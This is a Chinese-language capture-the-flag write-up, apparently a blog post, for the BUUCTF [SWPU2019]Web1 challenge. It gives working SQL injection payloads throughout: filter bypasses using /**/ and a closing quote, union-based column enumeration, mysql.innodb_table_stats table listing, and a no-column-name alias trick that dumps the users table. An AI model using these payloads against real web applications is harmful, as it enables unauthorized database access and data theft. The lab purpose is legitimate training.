天天看點

buuctf [SWPU2019]Web1 1

buuctf [SWPU2019]Web1 1 sql 無列名注入 二次注入

注冊登入釋出廣告

buuctf [SWPU2019]Web1 1

1'

測試

buuctf [SWPU2019]Web1 1

存在sql注入

經測試,or,空格,#被過濾

buuctf [SWPU2019]Web1 1
buuctf [SWPU2019]Web1 1

不能用order by測試列數,用group by代替

注釋符#用

,'3

代替,數字随便

(這裡的

'

相當于閉合了輸入語句裡參數的右引号,變成

'3'

字元串,此時整個語句沒有注釋符)(如果參數不在sql語句末尾,那不是失敗了?有無懂哥?)

空格用代替

1'/**/group/**/by/**/22,'3
           
buuctf [SWPU2019]Web1 1
1'/**/group/**/by/**/23,'3
           
buuctf [SWPU2019]Web1 1

是以有22列

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
           

回顯位2和3

buuctf [SWPU2019]Web1 1
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
           

information_schema.tables用mysql.innodb_table_stats代替

table_schema用database_name代替(為什麼不能用前者呢?是因為資料庫類型不同嗎?有無懂哥?)

buuctf [SWPU2019]Web1 1

這時就要無列名注入了

因為沒有mysql.innodb_column_stats這個方法,查不了列名

大概原理就是沒有列名,那就給它取名,然後按别名正常繼續注入

//-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
           
buuctf [SWPU2019]Web1 1

待我慢慢給你講

首先有兩個表ads,users。flag在users表第三列,其他可以自己注入看看。

格式

select group_concat(b) from (select 1,2 as b,3 union select * from users)a
           

a,b為别名,可以亂取。b别名為users表第二列别名。

select 1,2,3 很熟悉吧,就是上面我們用來判斷回顯的payload。有基礎的都知道在資料庫中這樣會顯示三列分别為1,2,3(為什麼我不上圖?别問,問就是懶。),而1,2,3就是三列列名

select 1,2,3 union select * from users

就會以1,2,3為列名,查詢users表中的内容了。就這麼簡單。為什麼這樣的語句結果就會這樣?那就涉及資料庫怎麼底層了,懂得都懂,懂的不必說,不懂的很難說,反正我是不懂的,呵呵。

回到正題,在加上前面

select group_concat(b)

就是查詢users表第二列。

那為什麼是1,2,3沒有4,5,6或以上呢。因為users表就隻有三列,多輸入列數就報錯了。

可以用下面payload取得列數

-1'/**/union/**/select/**/1,(select/**/group_concat(1)/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
           
buuctf [SWPU2019]Web1 1

有多少個1就有多少列。

最後就是ads表了,這個是查不出來的。

用上面的語句查出來有3列,當你爆查詢表裡面的内容時會報錯,回頭看之前的就變成了4個1,變成4列,再爆,再報錯,再回頭看,5列。。。真是不能滿足我小小的好奇心,氣死人了